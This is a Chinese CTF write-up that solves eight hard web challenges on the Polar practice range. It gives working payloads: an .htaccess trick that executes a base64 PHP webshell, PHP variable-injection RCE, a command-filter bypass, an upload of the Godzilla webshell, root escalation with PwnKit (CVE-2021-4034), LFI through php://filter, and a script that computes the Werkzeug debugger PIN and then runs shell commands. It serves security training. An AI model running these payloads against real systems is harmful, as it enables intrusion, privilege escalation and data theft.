今天是2026年9月4号

今天分享的是Polar靶场WEB困难题1-8题WP

Polar靶场

1.题目信息:上传

进入靶场:

就一个简单的上传按钮,我们先测试一下能上传哪些文件:

经过测试后,发现过滤了一些php后缀,以及对内容也过滤一些东西,比如<?file等。但是我们可以得到一些服务器信息,比如题目服务器用的是Apache,并且已经测试过.htaccess文件是能上传的,这样我们就可以用.htaccess来解析base64图片马,达到RCE,payload:
.htaccess的内容:

AddType application/x-httpd-php jpg
php_value auto_append_fi\    #这里加上反斜杠\是为了绕过file内容检测,然后再换行拼接。
le "php://filter/convert.base64-decode/resource=shell.jpg"

php_value:修改 PHP 目录配置.
auto_append_file:当前目录下每执行一个 PHP 脚本,会自动附加 / 包含指定的文件流.
php://filter/convert.base64‑decode:过滤器,可以对我们想要的文件做 base64 解码.
然后就是图片马的内容:

这个是一句话木马的base64编码,配合.htaccess解析执行命令,我们上传这两个文件:

然后访问/upload/shell.jpg执行命令:

执行成功,发现flag,读取:

成功拿到flag:flag{c59d5a15c74c5fc4a685b58b83ef0b8e}
也可以用蚁剑直接连接。

2.题目信息:PHP是世界上最好的语言

进入靶场:

分析代码,无论是POST还是GET,我们只要给flagX传参就会die输出nonono,但是下面又要我们给flag1flag2传参8gen1,这很矛盾,但是我们可以看到两行代码:@parse_str($_SERVER['QUERY_STRING']);extract($_POST);,它们的作用:
parse_str($_SERVER'QUERY_STRING');:

$_SERVER['QUERY_STRING']获取URL ‘?’ 后面全部 GET 查询字符串。 ‘parse_str()’:把查询字符串解析,直接注册成变量到当前符号表。 ‘@’ 是错误抑制符,屏蔽报错。

extract($_POST):

把 POST 提交的数组,键名作为变量名,值作为变量值,批量注册变量。

我们可以传入参数:?_POST[flag1]=8gen1,传入的参数会经过 parsestr 转换变成 $_POST [flag1]='flag1',然后会被 extract 捕捉变成 flag1=8gen1 完美匹配题目要求,接下来是命令执行,首先我们需要为504_SYS.COM随意传入一个参数以此来到下一个if条件,但是根据PHP参数名转换规则,我们传入的参数名504_SYS.COM里面的点号会被转换成下划线,但是在PHP7中,HTTP解析外部变量时,未闭合的左方括号[会被转换为下划线,并且触发历史 bug:[之后的非法字符停止转换,.不会再替换为_,利用这个bug我们才能正常为其传参,最后就是为sys传参,PHP中有一个超全局数组$GLOBALS,保存当前脚本全部全局作用域的所有变量。我们可以用var_dump来打印这个超全局数组来得到所有全局变量、变量名、类型、值。最终payload:
GET传参:

?_POST[flag1]=8gen1&_POST[flag2]=8gen1

POST传参:

504[SYS.COM=1&sys=var_dump($GLOBALS);

成功拿到flag:flag{1140eefde5c14628b8f31938c2f59838}

3.题目信息:非常好绕的命令执行

进入靶场:

分析代码,题目会接收三个参数,并把三个参数进行拼接,如传入的参数为1,2,3那就会输出1(2)(3);后面两个会被括号括起来,然后这些参数会经过黑名单,黑名单会过滤一些函数字符包括大小写,然后还有两个函数:
!ctype_space($evil):evil 字符串不能包含任何空白字符(空格、\t、\n、\r全部拦截)
ctype_graph($evil):全部字符必须是可打印可见字符,不能有不可见二进制字符.
最后到eval里面执行。分析完毕,题目虽然过滤了一些字符符号,但echo、反引号没有被过滤,我们可以构造语句:echols;

发现后面两个GET参数完全就是累赘,我们要想办法把它们两个搞掉,尝试注释掉:echols;/*

成功了,但是空格、$、%都被过滤了无法绕过空格过滤,不能直接读取,但是有一个重定向符号<没有被过滤,重定向作用:假如有一个flag文件,我们要读取,命令就是cat<flag;作用:把 flag 的内容,当做 cat 命令的标准输入,等价于 cat flag。最后,构造payload:

成功拿到flag:flag{10e73d5239aa23268b972374b5af29d2}

4.题目信息:这又是一个上传

进入靶场:

是一个上传框,在网页源码中可以看到题目源码:

题目只允许.jpg.png.gif三种后缀,这是前端校验,我们抓包改后缀试试有没有后端校验:

成功上传,我们用哥斯拉生成一个木马文件:

像刚刚那样抓包改后缀上传,然后连接:

连接成功,我们寻找一下flag:

这里在根目录找到了flag,但是权限不够拿不到,我们看看现在是什么权限:

我们现在是普通用户权限,对/root、很多系统私有目录没有读、执行权限,但是我们可以访问网站目录和tmp目录,我们需要提权。我们先用命令看看系统信息:

uname -a;cat /etc/os-release 2>/dev/null

然后查找一下SUID文件:

find / -perm -u+s -type f 2>/dev/null

分析一下这些信息:
系统内核:4.19.0‑11‑amd64
系统:Ubuntu 16.04.7 LTS(xenial)Docker 容器
/opt/polkit‑0.105/src/programs/.libs/pkexec,这并不是系统自带的路径,编译目录下的 pkexec,版本为polkit‑0.105,在网上查找了一会,发现了CVE‑2021‑4034,polkit pkexec 本地提权,0‑day,版本 0.105 受漏洞影响,就算是普通用户、www‑data,无需密码,本地直接提权 root。另外我还在网上找到了原版PwnKit 的C源码工程:

我在Ubuntu里用make编译一下得到了一个二进制文件和一个动态库:cve-2021-4034pwnkit.so

我们用哥斯拉把这两个文件上传到tmp目录:

成功上传,接下来我们要用哥斯拉超级终端来执行提权,打开超级终端,输入目录:

cd /tmp    #先到/tmp目录
.cve-2021-4034    #执行二进制文件进行提权

这里提权失败了,我的Ubuntu新版本glibc‑2.34编译出来的 ELF 二进制,链接了高版本 glibc,但靶机系统版本旧,自带的glibc版本更低,不兼容,直接无法运行。我们直接把源码文件全部丢进去(二进制文件和动态库文件不用传):

上传成功,我们直接在靶场里运行,在超级终端里输入命令:

cd /tmp    #依旧先到/tmp目录
make    #编译文件
./cve-2021-4034    #执行二进制文件来提权

成功拿到root权限,直接读取根目录的flag:

成功拿到flag:flag{caf647de0b12baea8774fefc93006fec}

5.题目信息:网站被黑

进入靶场:

页面没有什么有用的信息,先用dirsearch扫一下:

扫到了一个0B的/flag目录,没什么用,暂时没什么头绪,我们抓个包看看:

终于发现了一些线索,返回包里多了一个参数:Hint值为一串base32编码,我们对其解码:

好像是一个目录,我们访问看一下:/n0_0ne_f1nd_m3/

这是题目源码,应该是文件包含,分析代码,我们要传入两个参数,第一个参数text会经过第一个if条件,条件逻辑为:我们输入的的参数会被 file_get_contents这个函数当成一个真正文件来读取,它会在当前目录里找,没有找到就返回 False,服务器中根本没有叫这个名字的文件,所以只能为 False,我们用 data 伪协议,它一读,伪协议自动执行,会返回这个字符串,然后再来和题目对比,最后符号条件返回 True,到下一步。第二个参数file被过滤了一些字符包括大小写,我们先尝试能否正常读取/etc/passwd,构造payload:

?text=data://text/plain,welcome to the 504sys&file=/etc/passwd

成功读取到,想读flag,但是flag被过滤了,并且还过滤了base、data等伪协议的内容。我们换个思路,不用base64过滤器,PHP 还有一个过滤器:convert.quoted‑printable‑encode,这个不带 base,我们可以用它来读取flag,但是flag被过滤了,细心发现题目里有一个叫imposible.php的文件,我们尝试读取它,payload:

?text=data://text/plain,welcome to the 504sys&file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

页面没有任何显示,但是在源码中拿到了flag:flag{f46bf8522b91f67a02b81f9522f3d80b}

6.题目信息:flask_pin

进入靶场:

主页面直接就是Werkzeug Debugger页面,我们在页面中找找有什么线索:

在下面找到了一些路由片段,里面有一个/file目录,我们访问一下看看:

尝试用filename参数读取/etc/passwd:

尝试读取flag,但是无论怎么样都读不到,我们先回到主页面,在页面的右侧可以看到一个终端图标,我们点击看一下:

这里要输入PIN码,但是我们没有在页面中找到,网上搜了一下,Werkzeug Debug PIN生成逻辑:

PIN不是随机生成,由5-6份固定信息哈希计算出来,服务端启动一次性算出,只要这5份信息不变,PIN永远不会变。

需要的一些素材:

系统用户名 username  #可以在/etc/passwd中查看,一般都为root。
flask 模块名 modname  #固定为flask.app
app 类名 appname  #固定为Flask
flask app.py 绝对路径 modfile  #在主页面随处可见:/usr/local/lib/python3.5/site-packages/flask/app.py
mac 地址转十进制字符串  #可以在/sys/class/net/eth0/address目录下查看。
machine‑id+docker容器ID拼接字符串  #读取/etc/machine‑id和/proc/self/cgroup提取docker容器ID然后进行拼接。

我们一个一个搜集:
第一个:系统用户名

得到系统用户名为:root
第二个模块名和第三个app类名都是固定的,分别为flask.appFlask,第四个app.py的绝对路径可以在主页面直接拿到随处可见:

路径:/usr/local/lib/python3.5/site-packages/flask/app.py

下一个MAC地址的十进制可以先在/sys/class/net/eth0/address目录下拿到MAC地址,然后一会在脚本里转十进制:

最后就是machine‑id+docker容器ID拼接字符串,我们先到/etc/machine‑id目录拿到
machine‑id

然后再拿docker容器ID,在/proc/self/cgroup目录:

至此,信息全部获取,我们用python脚本生成PIN:(注意这里靶场老版本Werkzeug哈希要用MD5)

import hashlib
from itertools import chain

#系统用户名、flask模块、应用类名、app.py绝对路径:
username = "root"
modname = "flask.app"
app_name = "Flask"
mod_file = "/usr/local/lib/python3.5/site-packages/flask/app.py"

#mac十六进制转十进制字符串;machine-id拼接docker容器ID:
mac_hex = "0242ac0261a3"    #这里的地址要把冒号去掉
node = str(int(mac_hex, 16))    #这里是把我们的mac地址转十进制
machine_id = (
    "c31eea55a29431535ff01de94bdcf5cf"
    + "807c30e2b894b9d0afca8b363295de74dcf37de75fd5dd6233619f20784d11dd"
)
probably_public_bits = [username, modname, app_name, mod_file]
private_bits = [node, machine_id]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    h.update(bit.encode("utf-8"))
h.update(b"cookiesalt")
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
rv = num
for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        rv = "-".join(
            num[x : x + group_size].rjust(group_size, "0")
            for x in range(0, len(num), group_size)
        )
        break
print(rv)

运行:

拿到PIN码:841-388-204,我们试试是否正确:

成功了,开始执行命令,构造语句:

import os    #导入操作系统内置模块,用来和操作系统交互。
os.popen("ls /").read()    #执行ls /命令。

找到flag,读取:

os.popen("cat /flaggggg").read()

成功拿到flag:flag{873894c49201cd995ee2c52e6270630d}

7.题目信息:veryphp

进入靶场:

分析代码,定义的类中有__wakeup魔术方法,执行反序列化时自动触发die,用不了。file_get_contents("php://input");这里是读取原始 POST请求体数据,所以我们要发POST请求,下面是一层过滤,过滤了一些符号和几个关键字母,一些执行函数用不了了。下面是一个关键函数extract($_POST);,会把我们输入的POST参数和参数值转换为实体变量和值,比如传入a=cve经过函数就会变成$a='cve',然后下面会对变量shaw_root进行正则匹配:
-[a-e]:固定开头,要以-a到e中的任意字母开头。
[^a-zA-Z0‑8]:不能出现a‑z和A‑Z,不能出现数字0-8;允许:9、符号 !@#$&‑= 等。
<b>:固定字符,要带有这个。
(.*)>{4}<b>后面要有连续 4 个>
\D*?abcabc前面这部分不能有数字。
p(hp)*:必须先出现字母p,后面可以重复hp
\@R(s|r):要带上@R,紧跟s或者r,大小写严格。
后面还要严格等于29个字符,全部符合后才能拿到hint的内容。最后一段要让ans变量和SecretNumber严格相等,符合后就会call_user_func():PHP内置函数,调用回调函数,第一个参数是要调用的函数名,调用变量my_ans
根据这些规则,我们构造payload:

shaw[root=-a9<b>wabcs>>>>zabcaphphp@Rsr    #左方括号会变成下划线,绕过正则匹配

由于浏览器会自动进行url编码,编码中带有%,所以我们要用BP直接发包拿hint的内容:

成功拿到hint的内容,告诉我们SecretNumber变量的值为一串md5字符串,长度严格等于5,就是数字字符串五个字符,我们写个PHP脚本来爆破:

<?php
$target = "166b47a5cb1ca2431a0edfcef200684f";
for($i=0;$i<=99999;$i++){
    $num = sprintf("%05d",$i);
    $h = md5("shaw".$num."root");
    if($h === $target){
        echo "SecretNumber = ".$num."\n";
        exit;
    }
}
?>

成功爆出,接下来我们构造payload来获取config.php中的内容:

shaw[root=-a9<b>wabcs>>>>zabcaphphp@Rsr&ans=21475&my[ans=qwq::oao    #qwq::oao是调用qwq类里面的静态方法oao

成功拿到flag:flag{d66c779bdd97750eb2b0a6a34384b901}

8.题目信息:毒鸡汤

进入靶场:

并没有发现有用的东西,我们用dirsearch扫一下看看:

发现有备份文件和/robots协议文件,我们看看里面有什么:
/www.zip

/robots.txt

先看看/hint.txt:

告诉我们flag就在根目录,现在我们仔细看看备份文件里的内容,我翻了几个文件,在index.php里发现了GET参数:

这是一个文件包含点,结合上面我们知道flag在根目录,,我们可以试试能否读取。先读/etc/passwd试一下:

成功读取,我们试试直接读取flag:

成功拿到flag:flag{782001c675e24f30a2129e2d30b627de}

今天就到这里。

漏洞藏于细节,成败系于毫厘